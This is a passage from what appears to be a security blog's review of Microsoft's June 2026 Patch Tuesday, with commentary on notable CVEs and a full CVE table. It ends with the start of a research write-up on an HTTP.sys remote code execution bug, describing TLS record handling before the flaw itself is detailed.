- CVE-2026-44815 - DHCP Client Service Remote Code Execution Vulnerability
Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.

- CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass Vulnerability
If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “bone shattering” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.

Here’s the full list of CVEs released by Microsoft for June 2026:

CVE	Title	Severity	CVSS	Public	Exploited	XI	Type
CVE-2026-41091	Microsoft Defender Elevation of Privilege Vulnerability	Important	7.8	Yes	Yes	0	EoP
CVE-2026-49160	HTTP.sys Denial of Service Vulnerability	Important	7.5	Yes	No	1	DoS
CVE-2026-50507	Windows BitLocker Security Feature Bypass Vulnerability	Important	6.8	Yes	No	1	SFB
CVE-2026-45586	Windows Collaborative Translation Framework (CTFMON) Elevation of Privilege Vulnerability	Important	7.8	Yes	No	1	EoP
CVE-2025-10263 *	ARM: CVE-2025-10263 Completion of affected memory accesses might not be guaranteed by completion of a TLBI [kernel]	Critical	9.3	No	No	2	EoP
CVE-2026-48567	Azure HorizonDB Elevation of Privilege Vulnerability	Critical	10	No	No	N/A	EoP
CVE-2026-32193	Azure Kubernetes Service (AKS) Remote Code Execution Vulnerability	Critical	8.8	No	No	3	RCE
CVE-2026-47644	Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability	Critical	6.5	No	No	2	Info
CVE-2026-44815	DHCP Client Service Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-47291	HTTP.sys Remote Code Execution Vulnerability	Critical	9.8	No	No	1	RCE
CVE-2026-42824	M365 Copilot Information Disclosure Vulnerability	Critical	6.5	No	No	N/A	Info
CVE-2026-45476	Microsoft Azure Network Adapter Elevation of Privilege Vulnerability	Critical	8.2	No	No	2	EoP
CVE-2026-44810	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Critical	8.4	No	No	2	EoP
CVE-2026-48579	Microsoft Exchange Online Information Disclosure Vulnerability	Critical	9.1	No	No	N/A	Info
CVE-2026-47655	Microsoft Graph Information Disclosure Vulnerability	Critical	6.5	No	No	N/A	Info
CVE-2026-45497	Microsoft M365 Copilot Remote Code Execution Vulnerability	Critical	7.7	No	No	N/A	RCE
CVE-2026-45460	Microsoft Office Information Disclosure Vulnerability	Critical	4.7	No	No	3	Info
CVE-2026-45472	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45474	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45461	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45463	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45456	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45458	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-47635	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-26142	Nuance PowerScribe Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-47289	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	2	RCE
CVE-2026-47654	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	3	RCE
CVE-2026-48563	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-42992	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-44799	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-44801	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-42985	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	1	RCE
CVE-2026-45648	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Critical	8.8	No	No	3	RCE
CVE-2026-42987	Windows Deployment Services (WDS) Remote Code Execution	Critical	8.1	No	No	2	RCE
CVE-2026-33828	Windows Device Health Attestation (DHA) Elevation of Privilege Vulnerability	Critical	7.8	No	No	3	EoP
CVE-2026-44803	Windows Graphics Component Remote Code Execution Vulnerability	Critical	7.8	No	No	1	RCE
CVE-2026-44812	Windows Graphics Component Remote Code Execution Vulnerability	Critical	7.8	No	No	1	RCE
CVE-2026-45607	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45641	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-47652	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.2	No	No	2	RCE
CVE-2026-47288	Windows Kerberos Key Distribution Center (KDC) Remote Code Execution	Critical	7.1	No	No	3	RCE
CVE-2026-45657	Windows Kernel Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-48574	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	2	RCE
CVE-2026-45490	.NET SDK Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45491	.NET Tampering Vulnerability	Important	6.2	No	No	3	Tampering
CVE-2026-45591	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	2	DoS
CVE-2026-47643	Azure Stack Edge Remote Code Execution Vulnerability	Important	9.8	No	No	3	RCE
CVE-2026-41098	Azure Stack Edge Spoofing Vulnerability	Important	8.4	No	No	2	Spoofing
CVE-2026-45642	Microsoft Azure Attestation service and Device Health Attestation Service Spoofing Vulnerability	Important	3.9	No	No	2	Spoofing
CVE-2026-45650	Microsoft Bing Search Spoofing Vulnerability	Important	4.3	No	No	2	Spoofing
CVE-2026-45637	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45647	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	5.5	No	No	2	EoP
CVE-2026-40371	Microsoft Dynamics 365 (on-premises) Elevation of Privilege Vulnerability	Important	8.8	No	No	2	EoP
CVE-2026-44822	Microsoft Excel Information Disclosure Vulnerability	Important	8.2	No	No	3	Info
CVE-2026-45455	Microsoft Excel Information Disclosure Vulnerability	Important	3.3	No	No	2	Info
CVE-2026-45469	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44817	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	3	RCE
CVE-2026-44818	Microsoft Excel Remote Code Execution Vulnerability	Important	7	No	No	2	RCE
CVE-2026-44820	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44823	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45459	Microsoft Excel Security Feature Bypass Vulnerability	Important	3.3	No	No	2	SFB
CVE-2026-45504	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	8.8	No	No	3	EoP
CVE-2026-45502	Microsoft Exchange Server Information Disclosure Vulnerability	Important	5	No	No	3	Info
CVE-2026-45503	Microsoft Exchange Server Information Disclosure Vulnerability	Important	8.1	No	No	3	Info
CVE-2026-45583	Microsoft Exchange Server Remote Code Execution Vulnerability	Important	7.5	No	No	2	RCE
CVE-2026-45500	Microsoft Exchange Server Spoofing Vulnerability	Important	6.1	No	No	2	Spoofing
CVE-2026-45501	Microsoft Exchange Server Spoofing Vulnerability	Important	6.5	No	No	2	Spoofing
CVE-2026-47631	Microsoft Exchange Server Spoofing Vulnerability	Important	8.1	No	No	2	Spoofing
CVE-2026-42986	Microsoft Graphics Component Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-41092	Microsoft Kinect Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45644	Microsoft Live Share Canvas SDK Elevation of Privilege Vulnerability	Important	8	No	No	2	EoP
CVE-2026-47293	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45485	Microsoft Office Information Disclosure Vulnerability	Important	3.3	No	No	2	Info
CVE-2026-44821	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45483	Microsoft Office Project Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45475	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44819	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44824	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45645	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-49161	Microsoft PC Manager Security Feature Bypass Vulnerability	Important	7.8	No	No	3	SFB
CVE-2026-42902	Microsoft PowerToys Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45484	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	2	EoP
CVE-2026-45454	Microsoft SharePoint Remote Code Execution Vulnerability	Important	6.5	No	No	2	RCE
CVE-2026-47298	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8	No	No	2	RCE
CVE-2026-45467	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45468	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45479	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45453	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47636	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47637	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-47638	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-47639	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	3	Spoofing
CVE-2026-47641	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-33113	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-45462	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45464	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-45465	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47634	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	1	Spoofing
CVE-2026-47640	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	3	Spoofing
CVE-2026-45481	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	1	Spoofing
CVE-2026-48560	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-48562	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-42835	Microsoft Teams for Android Information Disclosure Vulnerability	Important	8.1	No	No	2	Info
CVE-2026-45606	Microsoft UxTheme Library (uxtheme.dll) Denial of Service Vulnerability	Important	5.5	No	No	2	DoS
CVE-2026-45482	Microsoft Visual Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability	Important	8.4	No	No	2	SFB
CVE-2026-45466	Microsoft Word Information Disclosure Vulnerability	Important	3.3	No	No	3	Info
CVE-2026-45471	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45486	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45643	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45457	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-42980	NT OS Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-42916	NT OS Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45649	Office for Android Spoofing Vulnerability	Important	7.1	No	No	3	Spoofing
CVE-2026-47653	Remote Desktop Client Remote Code Execution Vulnerability	Important	8.8	No	No	3	RCE
CVE-2026-42909	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	3	RCE
CVE-2026-42913	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	3	RCE
CVE-2026-42993	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	2	RCE
CVE-2026-45588	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48568	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48570	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48573	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48575	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48576	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48578	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-45654	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-45656	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-8863	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-40376	Visual Studio Code Elevation of Privilege Vulnerability	Important	7.5	No	No	2	EoP
CVE-2026-47281	Visual Studio Code Elevation of Privilege Vulnerability	Important	9.6	No	No	3	EoP
CVE-2026-47284	Visual Studio Code Information Disclosure Vulnerability	Important	6.5	No	No	2	Info
CVE-2026-47292	Visual Studio Code MSSQL Extension Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-48569	Visual Studio Code Security Feature Bypass Vulnerability	Important	7.1	No	No	2	SFB
CVE-2026-47287	Visual Studio Code Tampering Vulnerability	Important	6.5	No	No	2	Tampering
CVE-2026-42829	Windows Administrator Protection Secure Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-34335	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45601	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45598	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45596	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45638	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45603	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-42911	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45594	Windows Application Identity (AppID) Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45655	Windows BitLocker Security Feature Bypass Vulnerability	Important	5.3	No	No	2	SFB
CVE-2026-45658	Windows BitLocker Security Feature Bypass Vulnerability	Important	7.8	No	No	1	SFB
CVE-2026-45640	Windows Bluetooth Port Driver Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45605	Windows Bluetooth Service Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-47656	Windows Boot Manager Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-44809	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45634	Windows DHCP Client Information Disclosure Vulnerability	Important	5.5	No	No	3	Info
CVE-2026-45608	Windows DHCP Client Information Disclosure Vulnerability	Important	6.8	No	No	3	Info
CVE-2026-41108	Windows DNS Client Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42905	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-44811	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44808	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44807	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42983	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44802	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44813	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44804	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-48566	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-44814	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45602	Windows Dynamic Host Configuration Protocol (DHCP) Tampering Vulnerability	Important	9.1	No	No	2	Tampering
CVE-2026-42836	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-42910	Windows Hotpatch Monitoring Service Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42972	Windows Hyper-V Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45592	Windows Internet (wininet.dll) Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42903	Windows Kerberos Denial of Service Vulnerability	Important	6.5	No	No	3	DoS
CVE-2026-42914	Windows Kerberos Denial of Service Vulnerability	Important	5.3	No	No	2	DoS
CVE-2026-48583	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45653	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42984	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45600	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45604	Windows Managed Installer Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45595	Windows Mark of the Web Security Feature Bypass Vulnerability	Important	5.4	No	No	2	SFB
CVE-2026-45636	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-50508	Windows NTLM Spoofing Vulnerability	Important	6.5	No	No	1	Spoofing
CVE-2026-48565	Windows Narrator Braille Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44805	Windows Network Controller (NC) Host Agent Denial of Service Vulnerability	Important	5.5	No	No	3	DoS
CVE-2026-42981	Windows Performance Monitor Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-42974	Windows Performance Monitor Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-45487	Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42828	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42837	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42969	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	3	Info
CVE-2026-42971	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42970	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42973	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42978	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42977	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42979	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42991	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45639	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	7.5	No	No	2	Info
CVE-2026-42908	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	7.5	No	No	2	Info
CVE-2026-45593	Windows SDK Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42906	Windows Shell Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42907	Windows Shell Information Disclosure Vulnerability	Important	6.5	No	No	2	Info
CVE-2026-47648	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42915	Windows TCP/IP Denial of Service Vulnerability	Important	5.7	No	No	2	DoS
CVE-2026-42904	Windows TCP/IP Elevation of Privilege Vulnerability	Important	9.6	No	No	3	EoP
CVE-2026-42968	Windows Telephony Server Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42912	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45597	Windows UI Automation Manager (uiamanager.dll) Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45599	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-45635	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-40409	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-40404	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42989	Winlogon Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.

Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.

There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be.

Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls.

Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.

There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.

I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.

There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

CVE-2026-47291: Remote Code Execution in the Windows HTTP.sys

Sat, 25 Jul 2026 19:02:52 +0200

In this excerpt of a TrendAI Research Services vulnerability report, Yazhi Wang and Jonathan Lein of the TrendAI Research team detail a recently patched remote code execution bug in the Windows HTTP protocol stack. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges. The following is a portion of their write-up covering CVE-2026-47291, with a few minimal modifications.

A remote code execution vulnerability exists in the HTTP Protocol Stack for Microsoft Internet Information Services implemented in HTTP.sys. The vulnerability is due to invalid validating incoming HTTP requests.

A remote, unauthenticated attacker can exploit this vulnerability by sending crafted HTTP packets to the target system. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges.

The Vulnerability

HTTP.sys is the kernel-mode HTTP protocol driver in Microsoft Windows. It provides HTTP request parsing, response caching, and SSL/TLS termination for Internet Information Services (IIS) and other applications that register URL prefixes. The driver listens on configured TCP ports (commonly 80 for HTTP and 443 for HTTPS) and processes inbound HTTP/1.x and HTTP/2 requests at the kernel level.

When operating over HTTPS, HTTP.sys delegates TLS processing to the Windows Secure Channel (SChannel) provider. Inbound TCP data is decrypted on a per-record basis: each TLS record constitutes an independent unit of encryption and is decrypted separately by SChannel before being delivered to HTTP.sys as a distinct plaintext buffer. A single TLS 1.3 application data record has the following structure:

The decrypted payload of each TLS record is delivered independently to the HTTP parser via

UlHttpBufferReceiveEvent(), regardless of how many TLS records the underlying TCP connection coalesces into a single TCP segment. This behavior is distinct from plaintext HTTP connections, where the Windows TCP stack coalesces multiple segments into a single receive indication before the data reaches HTTP.sys.

The HTTP parser maintains a per-request state object that includes a dynamically grown buffer reference array. The capacity field stores the current number of allocated slots in the buffer reference array. The count field stores the number of slots currently in use. The ref_array_ptr field points to the dynamically allocated array of 8-byte buffer reference entries.

